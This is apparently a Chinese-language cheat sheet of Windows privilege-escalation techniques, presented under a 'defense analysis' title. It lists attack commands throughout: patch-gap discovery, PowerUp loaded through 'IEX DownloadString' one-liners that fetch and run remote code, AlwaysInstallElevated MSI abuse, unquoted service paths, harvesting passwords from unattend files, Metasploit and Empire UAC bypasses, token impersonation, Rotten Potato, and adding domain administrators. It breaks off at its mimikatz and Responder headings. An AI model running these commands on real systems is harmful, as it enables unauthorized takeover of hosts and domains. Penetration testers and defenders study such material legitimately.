权限提升防御分析
系统内核溢出漏洞提权
手动执行命令发现缺失补丁
1
2
|
systeminfo
wmic qfe get Caption,Description,HotfixID,InstalledOn
|
发现补丁编号
1
|
wmic qfe get Caption,Description,HotfixID,InstalledOn | findstr C:"KB3143141" C:/"KB976902"
|
Windows Exploit Suggester
使用 systeminfo
命令获取当前系统的补丁安装状况,并将信息导入 patches.txt
文件中
- 更新补丁信息
1
|
python windows-exploit-suggester.py --update
|
- 检查漏洞
1
|
python windows-exploit-suggester.py -d 2019-02-02-mssb.xls -i patches.txt
|
Metasploit
内置 local_exploit_suggester
模块
powershell 中的 sherlock 脚本
https://github.com/rasta-mouse/Sherlock
1
2
|
import-module .\Sherlock.ps1
Find-AllVulns
|
https://github.com/rasta-mouse/Watson
Windows 配置错误利用
系统服务权限配置错误
powerup
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
1
|
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUP.ps1;Invoke-AllChecks}"
|
1
|
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"
|
对应模块 service_permissions
。
注册表键 AlwaysInstallElevated
AlwaysInstallElevated
是一个策略设置。微软允许非授权用户以 SYSTEM
权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI
文件就可以进行管理员权限的提升。假设我们拿到目标主机的 Meterpreter
会话后并没能通过一些常规方式取得 SYSTEM
权限,那么 AlwaysInstallElevated
提权可以给我们带来另一条思路。
1
2
|
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
如果值均为 1
,说明存在风险
1
|
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Get-RegistryAlwaysInstallElevated"
|
添加账户
以普通用户运行
1
|
msiexec /q /i UserAdd.smi
|
也可以利用 msf
中的 always_install_elevated
模块
可信任服务路径漏洞
1
|
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" | findstr /i /v "C:\Windows\\"|findstr /i /v """
|
- 把要上传的程序重命名并放置在此漏洞且可写的目录下,执行如下命令:
1
2
|
sc stop service_name
sc start service_name
|
- 也可以使用 msf 中的
Windows Service Trusted Path Privilege Escalation
模块进行测试
注意:
msf 要设置 set AutoRunScript migrate -f
防止掉线
自动安装配置文件
1
2
|
dir /b /s c:\Unattend.xml
dir /b /s c:\sysprep.xml
|
查看文件中知否存在 base64
加密的密码
msf 中集成了该漏洞的利用模块 post/windows/gather/enum_unattend
计划任务
查看计划任务
1
|
schtasks /query /fo LIST /v
|
查询可写的计划任务文件夹
1
|
accesschk.exe -dqc "C:\Microsoft" -accepteula
|
列出某个驱动器下所有权限配置有缺陷的文件夹
1
2
|
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\
|
列出某个驱动器下所有权限配置有缺陷的文件
1
2
|
accesschk.exe -uwdqsUsersc:\*.*
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*
|
Empire 内置模块
1
|
usermode privesc/powerup/xxxx
|
绕过 UAC 提权
bypassuac 模块
前提:当前用户必须在管理员组中
1
2
3
|
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_inject
getsystem
|
RunAs 模块
1
|
exploit/windows/local/ask
|
弹出一个 UAC 框,用户点击后会弹回一个高权限的 shell
1
|
getuid 查看权限,如果是普通用户权限,执行 getsystem 提权
|
Nishang 中的 Invoke-PsUACme 模块
1
2
3
4
|
Invoke-PsUACme -Verbose ## 使用Sysprep方法并执行默认的Payload
Invoke-PsUACme -method oobe -Verbose ## 使用oobe方法方法并执行默认的Payload
Invoke-PsUACme -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
## 使用-Payload参数,可以自行指定要执行的Payload
|
Empire 中的 bypassuac 模块
bypassuac 模块
1
2
|
usemode privesc/bypassuac
execute
|
bypassuac_wscript 模块
1
2
|
usemode privesc/bypassuac_wscript
execute
|
令牌窃取
msf 上的令牌窃取
假设已经获取了 meterpreter shell
1
2
|
use incognito
list_tokens -u
|
在 incognito
中调用 impersonate_token
1
|
impersonate_token DESKTOP-DUNPKQ9\\Administrator
|
注意
:在输入主机名 \
用户名时,需要输入两个反斜杠
Rotten Potato 本地提权
1
2
3
4
|
use incognito
list_tokens -u
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
|
添加域管理员
假设网络中设置了域管进程,在 meterpreter shell
中迁移进程至域管进程中
1
2
|
net user test test123!@# /ad /domain
net group "domain admins" test /ad /domain
|
同样,在 meterpreter shell
中可以使用 incognito
来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员。
在活动的 meterpreter shell
中执行如下命令:
1
|
add_user test test!@#123 -h 1.1.1.2
|
执行如下命令,将该账户加到域管理员组中。
1
|
add_user "Domain Admins" test -h 1.1.1.2
|
Empire 下的令牌窃取分析
运行 mimikatz
,输入 creds
执行:
无凭证下的权限获取
LLMNR 和 NetBIOS 欺骗攻击
Responder 工具
开启监听模式